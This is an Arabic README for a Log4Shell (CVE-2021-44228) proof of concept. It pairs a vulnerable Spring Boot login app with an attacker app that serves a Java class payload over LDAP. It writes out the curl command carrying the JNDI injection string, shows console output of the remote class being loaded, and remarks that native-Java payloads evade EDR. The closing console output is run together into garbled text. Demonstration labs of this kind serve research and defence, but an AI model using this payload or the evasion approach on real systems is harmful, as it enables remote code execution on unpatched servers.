
log4j2 Log4Shell CVE-2021-44228 إثبات المفهوم
تطبيق Spring Boot بسيط يقدّم صفحة تسجيل دخول تحتوي على مستخدم وكلمة مرور. يقوم بتسجيل اسم المستخدم عند إرساله عبر POST إلى /. ليس من الضروري أن يقوم التطبيق بتسجيل أي مدخلات يقدمها المستخدم. يكفي تفعيل تسجيل الوصول الذي يستخدم إصدارًا قابلًا للاستغلال من log4j2.
كيفية التشغيل:
cd exploitable
../mvnw -q spring-boot:run
يستمع افتراضيًا على المنفذ 8080. إذا فتحت http://localhost:8080/ في المتصفح، يجب أن ترى شيئًا مثل:
ستلاحظ في pom.xml خاصية JVM التالية:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
هذا غير مطلوب في الإصدارات الأقدم من JDK. تم تغيير الافتراضي إلى false في: JDK 11.0.1 و8u191 و7u201 و6u211. حتى بدون هذه الخاصية، يبقى التطبيق عرضة لطلبات LDAP الأولية التي يمكنها تسريب بيانات حساسة.

تطبيق الهاكر الذي يخدم غرضين:
كيفية التشغيل:
cd hacker
../mvnw -q spring-boot:run
في pom.xml يمكنك تغيير الحمولة الافتراضية المرسلة إلى التطبيقات القابلة للاستغلال:
--class=SayHello هو الافتراضي، ما يعني أنه يرسل SayHello.class كحمولة.
أرسل طلب curl إلى التطبيق القابل للاستغلال مع الإشارة إلى خادم LDAP الخاص بالهاكر في أحد المدخلات التي يقدمها المستخدم (اسم المستخدم):
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/
في وحدة تحكم التطبيق القابل للاستغلال، يجب أن ترى شيئًا مثل:

${jndi:ldap://127.0.0.1:1389}127.0.0.1:1389dn:
objectClass: javaNamingReference
javaClassName: SayHello
javaCodeBase: http://127.0.0.1:9090/
javaFactory: SayHello
SayHello.classgetObjectInstance في صنف الاستغلالبعد طلب LDAP الأولي واحتمال تنزيل صنف Java الخاص بالاستغلال، لا يكون من الضروري للاستغلال أن يفرع عملية أو يقوم بأي اتصال إضافي بالإنترنت. عادةً يمكن لمنتجات EDR وغيرها اكتشاف هذا النوع من الاستغلال بسهولة. أعتقد أن الحمولات الجديدة للاستغلال ستُنفَّذ أصليًا في Java لتفادي الاكتشاف.